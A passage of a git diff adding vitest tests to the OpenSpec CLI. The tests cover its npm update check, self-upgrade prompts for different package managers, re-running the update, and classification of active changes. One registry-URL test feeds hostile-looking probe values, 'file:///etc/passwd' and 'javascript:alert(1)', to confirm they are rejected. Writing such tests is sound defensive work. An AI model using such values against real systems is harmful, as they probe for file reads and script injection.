{ + respond = (res) => { + res.writeHead(302, { location: '/round/and/round' }); + res.end(); + }; + + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + // Bounded: the first request plus a fixed number of hops. + expect(requests.length).toBeLessThanOrEqual(5); + }); + + it('returns null on a non-OK registry response', async () => { + respond = (res) => { + res.writeHead(500); + res.end('nope'); + }; + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + }); + + it('returns null on a response that is not JSON', async () => { + respond = (res) => { + res.writeHead(200, { 'content-type': 'application/json' }); + res.end('<html>proxy login</html>'); + }; + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + }); + + it('rejects a version that is not plain SemVer', async () => { + // A hostile or broken response must never reach the terminal: this one + // carries ANSI cursor controls that would repaint the lines around it. + serveVersion('9.9.9 malicious'); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + + serveVersion(42); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + + serveVersion(`9.9.9-${'a'.repeat(500)}`); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + }); + + it('tears down a redirected connection when the overall budget expires', async () => { + // The redirect target trickles bytes forever: steady data keeps resetting + // the per-request idle timeout, so only the overall budget timer can end + // the exchange — and it must destroy the redirected request, not the + // already-dead first hop, or the socket outlives the check. + let hop = 0; + let trickleClosed = false; + respond = (res) => { + hop += 1; + if (hop === 1) { + res.writeHead(302, { location: '/mirror/@fission-ai/openspec/latest' }); + res.end(); + return; + } + res.writeHead(200, { 'content-type': 'application/json' }); + res.write('{"ver'); + const trickle = setInterval(() => res.write('x'), 200); + res.on('close', () => { + trickleClosed = true; + clearInterval(trickle); + }); + }; + + const startedAt = Date.now(); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + expect(Date.now() - startedAt).toBeLessThan(5000); + await vi.waitFor(() => expect(trickleClosed).toBe(true), { timeout: 2000 }); + }, 10000); + + it('gives up rather than hanging when the registry stalls mid-response', async () => { + respond = (res) => { + res.writeHead(200, { 'content-type': 'application/json' }); + res.write('{"ver'); + // Never finishes the body; only the request timeout can end this. + }; + + const startedAt = Date.now(); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + expect(Date.now() - startedAt).toBeLessThan(5000); + }, 10000); + + it('sends nothing at all when opted out', async () => { + for (const [key, value] of [ + ['OPENSPEC_NO_UPDATE_CHECK', '1'], + ['OPENSPEC_NO_UPDATE_CHECK', ''], + ['CI', 'true'], + ['CI', '1'], + ['CI', 'TRUE'], + // An unknown value still means CI: suppressing is the safe direction, + // and it keeps this in step with isInteractive() in utils/interactive. + ['CI', 'yes'], + ['NODE_ENV', 'test'], + ['DO_NOT_TRACK', '1'], + ['OPENSPEC_TELEMETRY', '0'], + ] as const) { + process.env[key] = value; + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + delete process.env[key]; + } + + expect(requests).toHaveLength(0); + }); + + it('sends nothing when telemetry.enabled is false in global config', async () => { + const xdgHome = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-vc-telemetry-')); + const previousXdg = process.env.XDG_CONFIG_HOME; + try { + process.env.XDG_CONFIG_HOME = xdgHome; + const configDir = path.join(xdgHome, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.json'), + JSON.stringify({ telemetry: { enabled: false } }) + ); + + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + expect(requests).toHaveLength(0); + } finally { + if (previousXdg === undefined) { + delete process.env.XDG_CONFIG_HOME; + } else { + process.env.XDG_CONFIG_HOME = previousXdg; + } + fs.rmSync(xdgHome, { recursive: true, force: true }); + } + }); + + it('still runs when CI is explicitly switched off', async () => { + for (const value of ['false', '0', 'no', '']) { + process.env.CI = value; + await expect(getAvailableCliUpdate()).resolves.toBe(bumpMajor(OPENSPEC_VERSION)); + } + }); + + it('asks the registry npm exported, and only that', () => { + const home = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-npmrc-')); + try { + // A .npmrc must not steer the request: file contents choosing an + // outbound destination is a flow this deliberately does not have. + fs.writeFileSync(path.join(home, '.npmrc'), 'registry=https://from-file.example.com/\n'); + vi.spyOn(os, 'homedir').mockReturnValue(home); + vi.spyOn(process, 'cwd').mockReturnValue(home); + delete process.env.npm_config_registry; + + expect(registryUrl()).toBe('https://registry.npmjs.org/@fission-ai/openspec/latest'); + + process.env.npm_config_registry = 'https://env.example.com'; + expect(registryUrl()).toBe('https://env.example.com/@fission-ai/openspec/latest'); + } finally { + fs.rmSync(home, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + }); + + it('falls back to the public registry when the override is not an http(s) URL', () => { + // Asserted on the URL rather than by calling: the fallback would send a + // real request to npmjs.org, which no test should depend on. + // No ' ' case: a blank value falls through to ~/.npmrc, and this test + // must not depend on whatever the machine has configured there. + for (const bogus of ['not-a-url', 'file:///etc/passwd', 'javascript:alert(1)']) { + process.env.npm_config_registry = bogus; + expect(registryUrl()).toBe('https://registry.npmjs.org/@fission-ai/openspec/latest'); + } + + process.env.npm_config_registry = 'https://npm.internal.example.com/'; + expect(registryUrl()).toBe('https://npm.internal.example.com/@fission-ai/openspec/latest'); + }); +}); + +/** + * Guards the teardown, which no in-process assertion can prove: aborting a + * request still completing its TCP handshake used to leave a ref'd connect + * handle, so the CLI sat for ~10s after printing everything. + */ +describe('getAvailableCliUpdate against an unroutable registry', () => { + it('lets the process exit as soon as it gives up', async () => { + // A file:// URL, not a path: import() rejects a bare Windows path. + const distModule = new URL('../../dist/core/version-check.js', import.meta.url).href; + + const env = { ...process.env, npm_config_registry: 'http://192.0.2.1:81/' }; + // TEST-NET-1 (RFC 5737) is routable nowhere, so the connection can only + // end by our own teardown. Windows drops empty env vars, so unset rather + // than blank the guards that would otherwise skip the check. + delete env.NODE_ENV; + delete env.CI; + + const startedAt = Date.now(); + const { code, stderr } = await new Promise<{ code: number; stderr: string }>((resolve) => { + let stderr = ''; + const child = execFile( + process.execPath, + ['-e', `import(${JSON.stringify(distModule)}).then((m) => m.getAvailableCliUpdate())`], + { env }, + () => undefined + ); + child.stderr?.on('data', (chunk) => { + stderr += String(chunk); + }); + child.on('close', (exitCode) => resolve({ code: exitCode ?? 0, stderr })); + }); + + expect(stderr).toBe(''); + expect(code).toBe(0); + expect(Date.now() - startedAt).toBeLessThan(process.platform === 'win32' ? 12000 : 6000); + }, 30000); +}); + +/** + * The upgrade is offered, never performed unasked: a CLI that mutates the + * user's global environment without consent is the wrong default. + */ +describe('offerCliUpgrade', () => { + afterEach(() => { + vi.restoreAllMocks(); + vi.doUnmock('@inquirer/prompts'); + vi.resetModules(); + }); + + it('offers only for an npm-owned global install', () => { + // Anchored on this machine's real npm root so the case is not fictional. + const npmGlobal = path.join(npmGlobalRoots()[0], '@fission-ai', 'openspec'); + expect(canSelfUpgrade(npmGlobal, PROJECT_ROOT)).toBe(true); + + // `npm install -g` is the only command we run, so anything npm does not + // own would get a second copy that may not be the one on PATH. + const notOurs = [ + path.join(HOME_ROOT, 'Library', 'pnpm', 'global', '5', 'node_modules', 'pkg'), + path.join(HOME_ROOT, '.volta', 'tools', 'image', 'packages', 'x', 'node_modules', 'pkg'), + path.join(HOME_ROOT, '.bun', 'install', 'global', 'node_modules', 'pkg'), + path.join(HOME_ROOT, '.npm', '_npx', 'a', 'node_modules', 'pkg'), + path.join(PROJECT_ROOT, 'node_modules', '@fission-ai', 'openspec'), + null, + ]; + for (const dir of notOurs) { + expect(canSelfUpgrade(dir, PROJECT_ROOT)).toBe(false); + } + }); + + it('asks only where the answer can be given and acted on', () => { + const npmGlobal = path.join(npmGlobalRoots()[0], '@fission-ai', 'openspec'); + const base = { installDir: npmGlobal, projectPath: PROJECT_ROOT }; + + expect(shouldOfferUpgrade({ ...base, interactive: true, stdoutIsTty: true })).toBe(true); + + // A prompt on a redirected stdout is a question nobody sees, and the + // command would wait on it forever. + expect(shouldOfferUpgrade({ ...base, interactive: true, stdoutIsTty: false })).toBe(false); + expect(shouldOfferUpgrade({ ...base, interactive: false, stdoutIsTty: true })).toBe(false); + + // Interactive, but nothing `npm install -g` can fix. + expect( + shouldOfferUpgrade({ + installDir: path.join(HOME_ROOT, 'Library', 'pnpm', 'global', '5', 'node_modules', 'pkg'), + projectPath: PROJECT_ROOT, + interactive: true, + stdoutIsTty: true, + }) + ).toBe(false); + }); + + it('never offers to install over a source checkout', () => { + const clone = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-clone-')); + try { + fs.mkdirSync(path.join(clone, '.git')); + expect(isSourceCheckout(clone)).toBe(true); + expect(canSelfUpgrade(clone, PROJECT_ROOT)).toBe(false); + + const installed = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-installed-')); + try { + expect(isSourceCheckout(installed)).toBe(false); + } finally { + fs.rmSync(installed, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + } finally { + fs.rmSync(clone, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + expect(isSourceCheckout(null)).toBe(false); + }); + + it('recognizes an npm prefix that the node binary does not point at', () => { + // Homebrew realpaths node into the Cellar, so a root derived from + // process.execPath never matches the prefix npm actually installs into. + // The install's own shape is what settles it. + const prefix = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-brew-')); + try { + const isWindows = process.platform === 'win32'; + const installed = isWindows + ? path.join(prefix, 'node_modules', '@fission-ai', 'openspec') + : path.join(prefix, 'lib', 'node_modules', '@fission-ai', 'openspec'); + fs.mkdirSync(installed, { recursive: true }); + if (isWindows) { + // npm writes the .cmd shim beside node_modules; it is what separates + // a real prefix from a hand-copied portable tree. + fs.writeFileSync(path.join(prefix, 'openspec.cmd'), '@echo off\n'); + } else { + fs.mkdirSync(path.join(prefix, 'bin'), { recursive: true }); + } + + expect(npmPrefixFromInstallDir(installed)).toBe(prefix); + // Deliberately an unrelated root, standing in for the Cellar path. + expect(isNpmGlobalInstall(installed, [path.join(GLOBAL_ROOT, 'lib', 'node_modules')])).toBe( + true + ); + + expect(npmPrefixFromInstallDir(path.join(HOME_ROOT, 'not', 'an', 'install'))).toBeNull(); + expect(npmPrefixFromInstallDir(null)).toBeNull(); + + // The same shape with nothing npm wrote (no bin dir, no .cmd shim) is a + // hand-copied portable tree, not an npm install — no upgrade offer. + const portable = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-portable-')); + try { + const copied = isWindows + ? path.join(portable, 'node_modules', '@fission-ai', 'openspec') + : path.join(portable, 'lib', 'node_modules', '@fission-ai', 'openspec'); + fs.mkdirSync(copied, { recursive: true }); + expect( + isNpmGlobalInstall(copied, [path.join(GLOBAL_ROOT, 'lib', 'node_modules')]) + ).toBe(false); + } finally { + fs.rmSync(portable, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + } finally { + fs.rmSync(prefix, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + }); + + it('does not mistake another manager\'s npm-shaped layout for an npm install', () => { + // volta nests a whole node install, so its packages sit in exactly the + // <prefix>/lib/node_modules shape npm uses. + const volta = path.join( + HOME_ROOT, + '.volta', + 'tools', + 'image', + 'node', + '22.0.0', + 'lib', + 'node_modules', + '@fission-ai', + 'openspec' + ); + + expect(isNpmGlobalInstall(volta, [path.join(GLOBAL_ROOT, 'lib', 'node_modules')])).toBe(false); + expect(canSelfUpgrade(volta, PROJECT_ROOT)).toBe(false); + // And the printed command matches the manager that does own it. + expect(buildUpgradeCommandLines(volta, PROJECT_ROOT)[0]).toContain('volta install'); + }); + + it('does not read a package manager into an incidental directory name', () => { + // A user directory called "pnpm", or a project called "yarn", is not a + // global install of either. + expect(detectPackageManager('/home/pnpm/npm-global/lib/node_modules/pkg')).toBe('npm'); + expect(detectPackageManager(path.join(HOME_ROOT, 'projects', 'yarn', 'node_modules', 'pkg'))).toBe( + 'npm' + ); + // The real layouts still resolve. + expect(detectPackageManager(path.join(HOME_ROOT, 'Library', 'pnpm', 'global', '5', 'pkg'))).toBe( + 'pnpm' + ); + expect( + detectPackageManager(path.join(HOME_ROOT, '.config', 'yarn', 'global', 'node_modules', 'pkg')) + ).toBe('yarn'); + }); + + it('recognizes npm global roots without shelling out', () => { + const roots = [path.join(GLOBAL_ROOT, 'lib', 'node_modules')]; + + expect(isNpmGlobalInstall(path.join(roots[0], '@fission-ai', 'openspec'), roots)).toBe(true); + expect(isNpmGlobalInstall(path.join(GLOBAL_ROOT, 'lib', 'node_modules'), roots)).toBe(false); + expect(isNpmGlobalInstall(path.join(HOME_ROOT, 'elsewhere', 'pkg'), roots)).toBe(false); + expect(isNpmGlobalInstall(null, roots)).toBe(false); + // A sibling whose name merely starts with the root. + expect(isNpmGlobalInstall(`${roots[0]}-other${path.sep}pkg`, roots)).toBe(false); + }); + + it('names the command the owning package manager understands', () => { + const cases: Array<[string, string]> = [ + [path.join(HOME_ROOT, 'Library', 'pnpm', 'global', '5', 'node_modules', 'pkg'), 'pnpm add -g'], + [path.join(HOME_ROOT, '.bun', 'install', 'global', 'node_modules', 'pkg'), 'bun add -g'], + [path.join(HOME_ROOT, '.volta', 'tools', 'image', 'packages', 'x', 'pkg'), 'volta install'], + [path.join(HOME_ROOT, '.config', 'yarn', 'global', 'node_modules', 'pkg'), 'yarn global add'], + [path.join(GLOBAL_ROOT, 'lib', 'node_modules', 'pkg'), 'npm install -g'], + ]; + + for (const [dir, expected] of cases) { + expect(buildUpgradeCommandLines(dir, PROJECT_ROOT)[0]).toContain(expected); + } + + expect(detectPackageManager(null)).toBe('npm'); + }); + + it('does not let a user or project directory named after a manager steal the install', () => { + // A person named volta with a plain npm prefix in their home directory: + // the undotted segment alone must not turn the hint into `volta install`. + expect(detectPackageManager('/home/volta/.npm-global/lib/node_modules/pkg')).toBe('npm'); + expect(detectPackageManager('/srv/volta/apps/node_modules/pkg')).toBe('npm'); + // Even alongside a generic "tools" dir — only volta's full tools/image + // layout counts. + expect(detectPackageManager('/srv/volta/tools/apps/node_modules/pkg')).toBe('npm'); + }); + + it('recognizes the Windows spellings of those install directories', () => { + // %LOCALAPPDATA%\Volta, \Yarn\Data, \pnpm-cache — capitalized, undotted, + // and nothing like their POSIX equivalents. + expect(detectPackageManager('C:\\Users\\me\\AppData\\Local\\Volta\\tools\\image\\pkg')).toBe( + 'volta' + ); + expect(detectPackageManager('C:\\Users\\me\\AppData\\Local\\pnpm\\global\\5\\pkg')).toBe('pnpm'); + expect(detectPackageManager('C:\\Users\\me\\AppData\\Local\\Yarn\\Data\\global\\pkg')).toBe( + 'yarn' + ); + expect(isEphemeralRunnerInstall('C:\\Users\\me\\AppData\\Local\\pnpm-cache\\dlx\\a\\pkg')).toBe( + true + ); + }); + + it('asks before touching anything, and does nothing when declined', async () => { + const confirm = vi.fn(async () => false); + vi.doMock('@inquirer/prompts', () => ({ confirm })); + const { offerCliUpgrade: offer } = await import('../../src/core/version-check.js?decline'); + + await expect(offer('9.9.9')).resolves.toBe('declined'); + // Proves the prompt drove the result rather than an unrelated failure. + expect(confirm).toHaveBeenCalledTimes(1); + expect(confirm.mock.calls[0][0]).toMatchObject({ message: expect.stringContaining('9.9.9') }); + }); + + it('reports Ctrl-C as cancelled, so the caller can stop instead of prompting on', async () => { + const cancellation = Object.assign(new Error('User force closed the prompt'), { + name: 'ExitPromptError', + }); + const confirm = vi.fn(async () => { + throw cancellation; + }); + vi.doMock('@inquirer/prompts', () => ({ confirm })); + const { offerCliUpgrade: offer } = await import('../../src/core/version-check.js?ctrlc'); + + await expect(offer('9.9.9')).resolves.toBe('cancelled'); + expect(confirm).toHaveBeenCalledTimes(1); + }); + + it('treats an unexpected prompt failure as a decline rather than a crash', async () => { + const confirm = vi.fn(async () => { + throw new Error('tty exploded'); + }); + vi.doMock('@inquirer/prompts', () => ({ confirm })); + const { offerCliUpgrade: offer } = await import('../../src/core/version-check.js?boom'); + + await expect(offer('9.9.9')).resolves.toBe('declined'); + }); + + it('reads the version line, not the first version-shaped token in a banner', async () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-banner-')); + try { + const isWindows = process.platform === 'win32'; + const bin = path.join(dir, isWindows ? 'banner.cmd' : 'banner.sh'); + // A wrapper that greets before answering: taking the first match would + // report the Node version as OpenSpec's. + fs.writeFileSync( + bin, + isWindows + ? '@echo Node.js v25.8.1 ^| OpenSpec\r\n@echo 1.7.0\r\n' + : '#!/bin/sh\necho "Node.js v25.8.1 | OpenSpec"\necho "1.7.0"\n' + ); + fs.chmodSync(bin, 0o755); + + await expect(readCliVersion(bin)).resolves.toBe('1.7.0'); + } finally { + fs.rmSync(dir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + }, 30000); + + it('reads a version back from a binary rather than trusting an exit code', async () => { + // `npm install -g` exits 0 even when it installed nothing, so the version + // has to be read from whatever now answers. + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-bin-')); + try { + const isWindows = process.platform === 'win32'; + const bin = path.join(dir, isWindows ? 'fake.cmd' : 'fake.sh'); + fs.writeFileSync(bin, isWindows ? '@echo 9.9.9\r\n' : '#!/bin/sh\necho 9.9.9\n'); + fs.chmodSync(bin, 0o755); + + await expect(readCliVersion(bin)).resolves.toBe('9.9.9'); + await expect(readCliVersion(path.join(dir, 'does-not-exist'))).resolves.toBeNull(); + } finally { + fs.rmSync(dir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + }, 20000); +}); + +/** + * The re-run stands in for the command the user typed, so what it forwards and + * what it reports are both load-bearing. + */ +describe('rerunUpdateWithUpgradedCli', () => { + let dir: string; + const isWindows = process.platform === 'win32'; + + function writeFakeCli(body: string): string { + const bin = path.join(dir, isWindows ? 'openspec.cmd' : 'openspec'); + fs.writeFileSync(bin, body); + fs.chmodSync(bin, 0o755); + return bin; + } + + beforeEach(() => { + dir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-rerun-')); + }); + + afterEach(() => { + vi.restoreAllMocks(); + fs.rmSync(dir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + }); + + it('forwards --force and separates the path from any flag-shaped value', async () => { + const log = path.join(dir, 'args.txt'); + const bin = writeFakeCli( + isWindows + ? `@echo %* > "${log}"\r\n@exit /b 0\r\n` + : `#!/bin/sh\necho "$@" > "${log}"\nexit 0\n` + ); + + await expect( + rerunUpdateWithUpgradedCli('--weird-path', { force: true, binPath: bin }) + ).resolves.toBe(0); + + // cmd.exe echoes each argument quoted, so compare on tokens rather than + // on the raw line. + const args = fs + .readFileSync(log, 'utf-8') + .trim() + .split(/\s+/) + .map((token) => token.replace(/^"|"$/g, '')); + + expect(args).toContain('--force'); + // Without the separator the path would be parsed as an option. + expect(args.indexOf('--')).toBeGreaterThan(-1); + expect(args[args.indexOf('--') + 1]).toBe('--weird-path'); + }, 30000); + + it('disables the check in the child, so a stale PATH cannot loop forever', async () => { + const log = path.join(dir, 'env.txt'); + const bin = writeFakeCli( + isWindows + ? `@echo %OPENSPEC_NO_UPDATE_CHECK% > "${log}"\r\n@exit /b 0\r\n` + : `#!/bin/sh\necho "$OPENSPEC_NO_UPDATE_CHECK" > "${log}"\nexit 0\n` + ); + + await rerunUpdateWithUpgradedCli('.', { binPath: bin }); + + // Without this, a PATH still resolving to the old binary would prompt + // again, and again. + expect(fs.readFileSync(log, 'utf-8').trim()).toBe('1'); + }, 30000); + + it('passes the child exit code through instead of claiming success', async () => { + const bin = writeFakeCli(isWindows ? '@exit /b 7\r\n' : '#!/bin/sh\nexit 7\n'); + + await expect(rerunUpdateWithUpgradedCli('.', { binPath: bin })).resolves.toBe(7); + }, 30000); + + it('reports a failure when there is no upgraded CLI to hand off to', async () => { + const lines: string[] = []; + vi.spyOn(console, 'log').mockImplementation((line?: unknown) => { + lines.push(String(line ?? '')); + }); + + await expect( + rerunUpdateWithUpgradedCli('.', { binPath: path.join(dir, 'not-installed') }) + ).resolves.toBe(1); + expect(lines.join('\n')).toContain('were not regenerated'); + }, 30000); +}); + +describe('displayCliUpdateNote', () => { + afterEach(() => { + vi.restoreAllMocks(); + }); + + function capture(run: () => void): string { + const lines: string[] = []; + const spy = vi.spyOn(console, 'log').mockImplementation((line?: unknown) => { + lines.push(String(line ?? '')); + }); + try { + run(); + } finally { + spy.mockRestore(); + } + return lines.join('\n'); + } + + it('names the global install command and the copy that answered', () => { + const output = capture(() => displayCliUpdateNote('9.9.9')); + + expect(output).toContain(`v${OPENSPEC_VERSION} → v9.9.9`); + expect(output).toContain('npm install -g @fission-ai/openspec@latest'); + expect(output).toContain('Then run "openspec update" again'); + expect(output).toContain(`Running from: ${getInstallDir()}`); + }); + + it('picks the upgrade command that matches how the CLI was installed', () => { + const globalDir = path.join(GLOBAL_ROOT, 'lib', 'node_modules', '@fission-ai', 'openspec'); + const globalLines = buildCliUpdateLines('9.9.9', globalDir, PROJECT_ROOT).join('\n'); + expect(globalLines).toContain('npm install -g @fission-ai/openspec@latest'); + + // Hoisted workspace layout: run from a sub-package, dependency at the root. + const local = buildCliUpdateLines( + '9.9.9', + path.join(PROJECT_ROOT, 'node_modules', '@fission-ai', 'openspec'), + path.join(PROJECT_ROOT, 'packages', 'app') + ).join('\n'); + // No npm command: the project's own package manager owns its lockfile. + expect(local).toContain('Update the @fission-ai/openspec dependency in this project.'); + expect(local).not.toContain('npm install'); + + const npx = buildCliUpdateLines( + '9.9.9', + path.join(GLOBAL_ROOT, '.npm', '_npx', 'abc123', 'node_modules', '@fission-ai', 'openspec'), + PROJECT_ROOT + ).join('\n'); + expect(npx).toContain('npx @fission-ai/openspec@latest update'); + expect(npx).not.toContain('npm install -g'); + }); + + it('omits the install path only when it cannot be resolved', () => { + const dir = path.join(GLOBAL_ROOT, 'openspec'); + expect(buildCliUpdateLines('9.9.9', null, '.').join('\n')).not.toContain('Running from:'); + expect(buildCliUpdateLines('9.9.9', dir, '.').join('\n')).toContain(`Running from: ${dir}`); + }); + + it('recognizes project-local installs from any directory under the project', () => { + const local = path.join(PROJECT_ROOT, 'node_modules', '@fission-ai', 'openspec'); + + expect(isProjectLocalInstall(local, PROJECT_ROOT)).toBe(true); + // Workspace sub-package with a hoisted root node_modules. + expect(isProjectLocalInstall(local, path.join(PROJECT_ROOT, 'packages', 'app'))).toBe(true); + // pnpm's real path still lives under the same node_modules. + expect( + isProjectLocalInstall( + path.join(PROJECT_ROOT, 'node_modules', '.pnpm', 'x', 'node_modules', 'y'), + PROJECT_ROOT + ) + ).toBe(true); + + expect( + isProjectLocalInstall( + path.join(GLOBAL_ROOT, 'lib', 'node_modules', '@fission-ai', 'openspec'), + PROJECT_ROOT + ) + ).toBe(false); + // A sibling directory whose name merely starts with the project path. + expect( + isProjectLocalInstall( + `${PROJECT_ROOT}-other${path.sep}node_modules${path.sep}pkg`, + PROJECT_ROOT + ) + ).toBe(false); + expect(isProjectLocalInstall(null, PROJECT_ROOT)).toBe(false); + }); + + it('never throws when the working directory has been deleted', () => { + const anywhere = path.join(GLOBAL_ROOT, 'node_modules', 'pkg'); + vi.spyOn(process, 'cwd').mockImplementation(() => { + throw new Error('ENOENT: uv_cwd'); + }); + + expect(() => isProjectLocalInstall(anywhere)).not.toThrow(); + expect(isProjectLocalInstall(anywhere)).toBe(false); + expect(() => capture(() => displayCliUpdateNote('9.9.9'))).not.toThrow(); + }); + + it('does not tell npx users to run an update they were just handed', () => { + // `npx …@latest update` IS the update, so a "then run it again" line + // would be nonsense. + const npx = buildUpgradeCommandLines( + path.join(HOME_ROOT, '.npm', '_npx', 'abc', 'node_modules', 'pkg'), + PROJECT_ROOT + ); + expect(npx).toEqual([' npx @fission-ai/openspec@latest update']); + + // Every other flavor does need the second pass. + expect(buildUpgradeCommandLines(path.join(GLOBAL_ROOT, 'lib', 'node_modules', 'pkg'), PROJECT_ROOT)) + .toContain(' Then run "openspec update" again to pick up new workflows.'); + }); + + it('finds the binary npm installs beside its global root', () => { + const prefix = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-prefix-')); + try { + const isWindows = process.platform === 'win32'; + // npm's layout: <prefix>/lib/node_modules on POSIX, <prefix>/node_modules + // on Windows, with the shim one level up from the root's parent. + const root = isWindows + ? path.join(prefix, 'node_modules') + : path.join(prefix, 'lib', 'node_modules'); + fs.mkdirSync(root, { recursive: true }); + + // Nothing installed yet: nothing to hand off to. + expect(upgradedBinPath([root])).toBeNull(); + + const bin = isWindows + ? path.join(prefix, 'openspec.cmd') + : path.join(prefix, 'bin', 'openspec'); + fs.mkdirSync(path.dirname(bin), { recursive: true }); + fs.writeFileSync(bin, ''); + + expect(upgradedBinPath([root])).toBe(bin); + } finally { + fs.rmSync(prefix, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + } + }); + + it('tells npx and dlx users to re-run rather than install globally', () => { + // Matched on whole path segments, and "dlx" only under its package + // manager's own cache — a user directory named "dlx" is not a throwaway one. + expect( + isEphemeralRunnerInstall(path.join(GLOBAL_ROOT, '.npm', '_npx', 'abc', 'node_modules', 'pkg')) + ).toBe(true); + expect( + isEphemeralRunnerInstall(path.join(GLOBAL_ROOT, 'pnpm', 'dlx', 'abc', 'node_modules', 'pkg')) + ).toBe(true); + expect( + isEphemeralRunnerInstall( + path.join(GLOBAL_ROOT, 'lib', 'node_modules', '@fission-ai', 'openspec') + ) + ).toBe(false); + expect( + isEphemeralRunnerInstall(path.join(path.sep, 'Users', 'dlx', 'app', 'node_modules', 'pkg')) + ).toBe(false); + expect(isEphemeralRunnerInstall(null)).toBe(false); + }); +}); diff --git a/test/core/view.test.ts b/test/core/view.test.ts index b8b56df1e5..f7a8aafb54 100644 --- a/test/core/view.test.ts +++ b/test/core/view.test.ts @@ -12,8 +12,7 @@ describe('ViewCommand', () => { let logOutput: string[] = []; beforeEach(async () => { - tempDir = path.join(os.tmpdir(), `openspec-view-test-${Date.now()}`); - await fs.mkdir(tempDir, { recursive: true }); + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-view-test-')); originalLog = console.log; console.log = (...args: any[]) => { @@ -125,5 +124,70 @@ describe('ViewCommand', () => { 'gamma-change' ]); }); + + it('classifies a nested glob-tasks change as Active, not Draft (#1202)', async () => { + const openspecDir = path.join(tempDir, 'openspec'); + const changesDir = path.join(openspecDir, 'changes'); + await fs.mkdir(changesDir, { recursive: true }); + + // Project-local schema whose tasks artifact resolves a nested glob. + const schemaDir = path.join(openspecDir, 'schemas', 'glob-tasks'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: glob-tasks', + 'version: 1', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: Proposal', + ' template: proposal.md', + ' requires: []', + ' - id: tasks', + ' generates: "**/tasks.md"', + ' description: Nested tasks', + ' template: tasks.md', + ' requires: [proposal]', + 'apply:', + ' requires: [tasks]', + ' tracks: "**/tasks.md"', + '', + ].join('\n') + ); + + const changeDir = path.join(changesDir, 'nested-change'); + await fs.mkdir(path.join(changeDir, 'backend'), { recursive: true }); + await fs.mkdir(path.join(changeDir, 'frontend'), { recursive: true }); + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'schema: glob-tasks\n'); + await fs.writeFile(path.join(changeDir, 'backend', 'tasks.md'), '- [x] 1.1 a\n- [x] 1.2 b\n'); + await fs.writeFile(path.join(changeDir, 'frontend', 'tasks.md'), '- [x] 2.1 a\n- [ ] 2.2 b\n- [ ] 2.3 c\n'); + + await new ViewCommand().execute(tempDir); + const output = logOutput.map(stripAnsi).join('\n'); + + // Active section lists the change with aggregated 3/5 progress; not Draft. + const activeLines = logOutput.map(stripAnsi).filter(line => line.includes('◉')); + expect(activeLines.some(line => line.includes('nested-change'))).toBe(true); + const draftLines = logOutput.map(stripAnsi).filter(line => line.includes('○')); + expect(draftLines.some(line => line.includes('nested-change'))).toBe(false); + expect(output).toContain('60%'); + }); + + it('keeps a change with unfinished sub-tasks in Active, not Completed (#1485)', async () => { + const changesDir = path.join(tempDir, 'openspec', 'changes'); + await fs.mkdir(path.join(changesDir, 'subtask-change'), { recursive: true }); + await fs.writeFile( + path.join(changesDir, 'subtask-change', 'tasks.md'), + '- [x] 1.1 Parent task\n - [ ] 1.1.1 Unfinished sub-task\n' + ); + + await new ViewCommand().execute(tempDir); + + const activeLines = logOutput.map(stripAnsi).filter(line => line.includes('◉')); + expect(activeLines.some(line => line.includes('subtask-change'))).toBe(true); + const completedLines = logOutput.map(stripAnsi).filter(line => line.includes('✓')); + expect(completedLines.some(line => line.includes('subtask-change'))).toBe(false); + }); }); diff --git a/test/core/working-set.test.ts b/test/core/working-set.test.ts new file mode 100644 index 0000000000..7462d1b53e --- /dev/null +++ b/test/core/working-set.test.ts @@ -0,0 +1,89 @@ +import { describe, expect, it } from 'vitest'; + +import { + assembleWorkingSet, + buildCodeWorkspaceJson, + isAvailableMember, +} from '../../src/core/working-set.js'; +import type { ResolvedOpenSpecRoot } from '../../src/core/root-selection.js'; +import type { StoreDiagnostic } from '../../src/core/store/errors.js'; + +const root = { + path: '/team/store', + source: 'store', + storeId: 'team-context', + changesDir: '/team/store/openspec/changes', + specsDir: '/team/store/openspec/specs', + archiveDir: '/team/store/openspec/changes/archive', + defaultSchema: 'spec-driven', +} as ResolvedOpenSpecRoot; + +const warn = (code: string): StoreDiagnostic => ({ + severity: 'warning', + code, + message: 'x', + target: 'relationships', + fix: 'y', +}); + +describe('working-set assembly (4.1)', () => { + it('maps referenced stores into available and unavailable members', () => { + const workingSet = assembleWorkingSet({ + root, + referenceEntries: [ + { store_id: 'up', root: '/up', status: [] }, + { store_id: 'ghost', status: [warn('reference_unresolved')] }, + ], + topLevelStatus: [warn('relationship_registry_unreadable')], + }); + + expect(workingSet.root).toEqual({ + path: '/team/store', + source: 